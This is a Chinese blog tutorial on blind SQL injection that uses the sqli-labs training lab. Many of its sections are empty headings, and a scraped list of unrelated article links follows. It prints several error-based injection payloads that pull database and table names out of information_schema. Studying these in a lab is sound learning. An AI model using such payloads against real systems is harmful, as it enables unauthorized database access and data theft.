web漏洞-SQL注入之盲注

文章目录

  • web漏洞-SQL注入之盲注
    • 前言
    • 盲注类型
      • 报错盲注
        • 猜解数据库
        • 猜解表
        • 猜解字段
        • 猜解内容
      • 布尔盲注
        • 猜解数据库
        • 猜解表
        • 猜解字段
        • 猜解内容
      • 延迟注入

前言

​ 本文介绍了SQL注入的盲注方法。盲注方法主要是用在前端页面不回显sql语句内容的时候,如注册等。

盲注类型

报错盲注

​ 报错盲注是指前端虽然不回显内容,但是我们可能可以通过sql语句报错来显示我们需要的数据。用sqlilabs靶场的less-5举例。sqlilabs靶场的安装请看https://blog.csdn.net/qq_44312640/article/details/127573726?spm=1001.2014.3001.5502。

# 参考文章:https://www.cnblogs.com/zane-s/articles/12371820.html#w58wxCp4
# 爆数据库等信息,原理暂不研究
第一种:or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
第二种:union select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1),3 from information_schema.columns group by xx--+
# 爆表名等信息
union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+
# 爆字段等信息

猜解数据库

猜解表

猜解字段

猜解内容

布尔盲注

​ 布尔盲注指的是通过and连接符等通过观察页面是否正常来判断条件是否成立的一种注入方法。以sqlilabs靶场的less-5举例。

猜解数据库

猜解表

猜解字段

猜解内容

延迟注入

​ 延迟注入和布尔注入差不多,通过条件注入延迟函数,观察页面返回时间来判断条件是否正确。以sqlilabs靶场的less-5举例。剩下的根据布尔盲注类推即可。

【小迪安全】Day16web漏洞-SQL注入之盲注相关推荐

  1. sql注入_1-4_post盲注

    sql注入_1-4_post盲注 一.post盲注概念 1.首先post盲注和get盲注一样,只是不会拼接到url中 2.post请求会向指定资源提交数据,请求服务器进行处理,如,表单提交,文件上传等 ...

  2. sql注入--布尔盲注

    sql注入–布尔盲注 靶场:sqli-labs-master 下载链接:靶场下载链接 第8关 盲注 php源码 <?php //including the Mysql connect param ...

  3. SQL注入2——盲注(重学)

    SQL注入--盲注 SQL注入--盲注 SQL注入--盲注 一.布尔型盲注 1.判断 2.盲注库名 3.盲注表名 4.盲注列名 5.盲注数据 时间型盲注 总结 一.布尔型盲注 假如网站一定存在SQL注 ...

  4. SQL注入-布尔盲注

    页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length('abc')  ...

  5. 【SQL注入-布尔盲注】

    SQL注入方法-布尔盲注 布尔盲注使用场景 案例演示 演示环境 源码分析 实际测试 使用布尔盲注猜解数据. 布尔盲注使用到的函数: 开始 布尔盲注使用场景 布尔型盲注应用于无数据回显,且WEB页面无报 ...

  6. 手动SQL注入(盲注)讲解

    由于很多人(特别是针对初学者)在百度查找相关的SQL盲注的文章时总感觉无法得到一篇很基础,很完整的文章,所以在这里讲解一篇完整的SQL注入文章 1 查找源码之家等网站进行下载一个网站, 在这里我下载的 ...

  7. SQL注入——布尔盲注,时间盲注,宽字节注入

    布尔盲注 1.布尔盲注利用前提 页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入 缺点:速度太慢,消耗大量时间 布尔盲注思维导图: 布尔盲注常用语句: su ...

  8. sql注入——布尔盲注

    场景 sql-labs中的 Less-8 一.主要运用的mysql语法: count()函数:统计查询结果的数量: length(str)函数:返回字符串 str的长度: left()函数: left ...

  9. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

最新文章

  1. python 3d绘图平面_python 用 matplotlib 在 3D 空间中绘制平面 实例详解
  2. 【Windows 逆向】使用 CE 工具挖掘关键数据内存真实地址 ( 查找子弹数据的动态地址 | 查找子弹数据的静态地址 | 静态地址分析 | 完整流程 ) ★
  3. 美团技术四面经历,作者已拿到Offer!
  4. jQuery scroll事件
  5. 代码阅读 | torch.sort函数
  6. ssl1104-USACO 2.1城堡(foodfill)【图论,广搜】
  7. 服务器云平台 系统,服务器云平台 系统
  8. [C# 设计模式] Iterator - 迭代器模式:我与一份奥利奥早餐的故事
  9. 如何用golang获取linux上文件的访问/创建/修改时间
  10. WordPress 安装插件导致 HTTP 500 内部服务器错误的问题
  11. 如何使用Java进行简单爬虫
  12. EntityFramework 事务的使用
  13. css画三角形以及各种图形
  14. 通过批处理来运行python程序
  15. 德州大学达拉斯分校计算机科学,德克萨斯大学达拉斯分校排名
  16. 微积分小糊涂,国庆节大快乐!
  17. 全球及中国复合纸板管包装行业研究及十四五规划分析报告
  18. 什么是区块链----概念
  19. 笔记:AVS2背景建模
  20. Gorilla源码分析之gorilla/mux源码分析

热门文章

  1. 「桌面好物」除了是无叶风扇,居然还可以用来...
  2. 技术文章(自动答疑系统)
  3. Spring之依赖注入源码解析
  4. Java实现九九乘法表(三种方法实现)
  5. 今天聊聊数据湖和“三剑客”,吐槽一下数据湖被夸大的增量功能
  6. ubuntu apt-get (You must put some ‘source’ URIs in your sources.list)解决方法
  7. 如何订阅(Subscribe)现有功能包节点的话题,介绍实现思路
  8. XTU1255 勾股数
  9. matlab QR分解
  10. 深度学习之视频人脸识别系列(一):简介